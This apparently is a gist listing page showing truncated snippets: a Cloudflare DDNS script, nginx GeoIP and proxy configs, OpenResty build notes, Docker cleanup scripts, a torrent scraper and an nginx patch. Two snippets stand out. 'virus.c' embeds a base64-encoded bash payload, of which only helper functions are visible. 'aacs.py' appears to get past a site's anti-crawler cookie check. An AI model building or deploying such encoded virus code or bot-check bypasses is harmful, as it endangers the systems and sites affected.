View cf-ddns.sh
#!/bin/bash
# can be A or AAAA
do_record=AAAA
# the interface to get ipv6 address
iface=eth0
# the static suffix we should add to
v6_suf=53
mail="me@email.com"
View Readme.md
  • nginx with ngx_http_geoip_module, echo-nginx-module, lua-nginx-module is required; libgeoip needs to be installed and geoip database should be placed under /usr/share/GeoIP.
  • http://example.com for current GeoIP and http://example.com/ip for current IP only
  • http://example.com/x.x.x.x to query any IP.
  • http://example.com/domain-name for GeoIP of domain-name and http://example.com/domain-name/ip to return IP of domain-name only. If multiple IPs are set to single domain-name, all of them will be returned. Only A record will be used.
  • Sample requests are:
$ curl http://example.com/
x.x.x.x
Country, City
ASN number
View aacs.py
import re
import time
mkcookie = lambda coo: ";".join(["%s=%s" % (k,v) for k,v in coo.iteritems()])
def autodetect(resp, ct, ht, cookie, headers, url):
__func = None
while 'set-cookie' in resp:
coostr = resp['set-cookie']
_session = re.findall('yunsuo_session_verify=(\w+)', coostr)
View Readme.md

Run once:

# ./build-ubuntu32.sh
$ cp make_openresty.sh resty-dyn.patch /home/build/x{64,86}/

Everytime: change VERSION in build.sh

$ ./build.sh 64
$ ./build.sh 32
View docker_driver.sh
#!/bin/bash
repo=[SITE]/[USERNAME]/[REPO]
# example: fffonion/233
# index.hahah.io/fffonion/233
# upload a file
# ./docker_driver.sh YOUR_FILE
# copy the md5
# grab a file
# ./docker_driver.sh MD5
# the file will be downloaded into current directory
View docker_clear_noname.sh
#!/bin/bash
docker rm $(docker ps -a|grep -P "(?:admiring|adoring|affectionate|agitated|amazing|angry|awesome|backstabbing|berserk|big|boring|clever|cocky|compassionate|condescending|cranky|desperate|determined|distracted|dreamy|drunk|eager|ecstatic|elastic|elated|elegant|evil|fervent|focused|furious|gigantic|gloomy|goofy|grave|happy|high|hopeful|hungry|infallible|jolly|jovial|kickass|lonely|loving|mad|modest|naughty|nauseous|nostalgic|peaceful|pedantic|pensive|prickly|reverent|romantic|sad|serene|sharp|sick|silly|sleepy|small|stoic|stupefied|suspicious|tender|thirsty|tiny|trusting|zen)_(?:albattani|allen|almeida|agnesi|archimedes|ardinghelli|aryabhata|austin|babbage|banach|bardeen|bartik|bassi|beaver|bell|bhabha|bhaskara|blackwell|bohr|booth|borg|bose|boyd|brahmagupta|brattain|brown|carson|chandrasekhar|shannon|clarke|colden|cori|cray|curran|curie|darwin|davinci|dijkstra|dubinsky|easley|edison|einstein|elion|engelbart|euclid|euler|fermat|fermi|feynman|franklin|galileo|gates|goldberg|goldstine|goldwasser|goli
View nginx.conf
upstream music163com {
least_conn;
keepalive 10;
#server 14.215.9.16:80;
#server 219.138.27.67:80;
server music.163.com:80;
}
server{
listen 80;
View virus.c
#include <stdlib.h>
#include <stdio.h>
char payload[]="IyEvYmluL2Jhc2gKRD0wCkVOQz0iYmFzZTY0IC13IDAiCkRFQz0iYmFzZTY0IC1kIgoKZnVuY3Rpb24gZGJnICgpCnsKCWlmIFsgJEQgLWd0IDAgXTsgdGhlbgoJCWVjaG8gIltERUJVR10gJDI6ICIkMSAxPiYyCglmaQp9CgpmdW5jdGlvbiByYW5kb20gKCkKewoJaWYgWyAteiAiJDEiIF07IHRoZW4KCQlsZW49MTYKCWVsc2UKCQlsZW49JDEKCWZpCglfdD0kKGRkIGlmPS9kZXYvdXJhbmRvbSBvZj0vZGV2L3N0ZG91dCBicz0kbGVuIGNvdW50PTEgMj4vZGV2L251bGx8YmFzZTY0fHNlZCAicy9bXC9cK10vMC9nIikKCWVjaG8gJHtfdDowOiRsZW59Cn0KCgpmdW5jdGlvbiBnZXRfcGVybSAoKQp7CglpZiBbIC16ICIkMSIgXTsgdGhlbgoJCWRiZyAiTm8gZmlsZSBwYXRoIGdpdmVuIiAiZ2V0X3Blcm0iCgkJZWNobyAwCgllbHNlCgkJZWNobyAkKHN0YXQgLWMgIiVhIiAiJDEiIDI+JjEpCglmaQp9CgpmdW5jdGlvbiBzZXRfcGVybSgpCnsKICAgICAgICBpZiBbIC16ICIkMSIgXSB8fCBbIC16ICIkMiIgXTsgdGhlbgogICAgICAgICAgICAgICAgZGJnICJObyBmaWxlIHBhdGggb3Igbm8gcGVybSBnaXZlbiIgInNldF9wZXJtIgoJCWVjaG8gMgogICAgICAgIGVsc2UKICAgICAgICAgICAgICAgICQoY2htb2QgJDEgIiQyIiAyPi9kZXYvbnVsbCkKICAgICAgICBmaQp9CgoKZnVuY3Rpb24gZ2V0X3VnICgpCnsKICAgICAgICBpZiBbIC16ICIkMSIgXTsgdGhlbgogICAgICAgICAgI
View automeiju.py
import os
import re
import time
import httplib2
from deluge_client import DelugeRPCClient
base_url = 'http://--CENSORED-BY-GFW--'
headers = {
'User-Agent':'Mozilla/5.0 xxxxx',
'Accept-Language':'zh-CN,zh;q=0.8',
View nginx-unzip-module_good.patch
diff --git a/ngx_http_unzip_module.c b/ngx_http_unzip_module.c
index 771e1dc..00ea0f1 100644
--- a/nginx-unzip-module/ngx_http_unzip_module.c
+++ b/nginx-unzip-module/ngx_http_unzip_module.c
@@ -224,7 +224,7 @@ static ngx_int_t ngx_http_unzip_handler(ngx_http_request_t *r)
zip_stat_init(&zip_st);
/* let's check what's the size of a file. return 404 if we can't stat file inside archive */
- if (0 != zip_stat(zip_source, unzipextract_path, 0, &zip_st)) {
+ if (0 != zip_stat(zip_source, unzipextract_path, ZIP_FL_NODIR|ZIP_FL_NOCASE, &zip_st)) {